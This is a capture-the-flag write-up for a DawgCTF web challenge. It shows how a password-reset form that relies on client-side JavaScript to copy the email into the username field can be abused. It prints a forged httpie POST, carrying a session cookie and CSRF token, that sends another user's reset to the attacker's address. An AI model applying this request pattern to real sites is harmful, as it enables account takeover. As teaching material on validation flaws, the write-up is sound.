>Let's steal someone's account.
http://freewifi.ctf.umbccd.io/

We get the same PCAP for download.

Like in the first part, the `/staff.html` page is accessed. The codes posted there are invalid, though.

The interesting part (*steal someone's account*) in the capture is the post of `/forgotpassword.html`

We notice in the form, that the username and the email address used for the recovery link are the same but sent twice in different fields. There is a JS function in the site taking care of this:

<script type="text/javascript">
window.onload = function()
{
document.getElementsByClassName('form')[0].onsubmit = function() {
var email = document.getElementById('email')
var user = document.getElementById('user')
user.value = email.value
}
}
</script>

This can be exploited, of course, by sending the reset link of the user now known to us (`[email protected]`) to a different e-mail address.

So we just access the `/forgotpassword.html`, note the session cookie and the CSRF token and send a malicious request:

http --print HBhb --form https://freewifi.ctf.umbccd.io/forgotpassword.html "Cookie: session=eyJjc3JmX3Rva2VuIjoiMjJkM2Y3MDcwMmRlODE1MGQ2MmIxNWY0OGYxZGE0NTk2NDFlNjUwZiJ9.XpGTcA.rFWe8NOuN2d2sHRGvyNvdezd5o4" [email protected] [email protected] 'csrf_token=IjIyZDNmNzA3MDJkZTgxNTBkNjJiMTVmNDhmMWRhNDU5NjQxZTY1MGYi.XpGTcA.u7DSvZ-sNEJvL3a7MUT03l-z3WY' submit=Submit

WE get the flag right ways in the response, no need to access the e-mail address:

Flag: **DawgCTF{cl!3nt_s1d3_v@l!d@t!0n_1s_d@ng3r0u5}**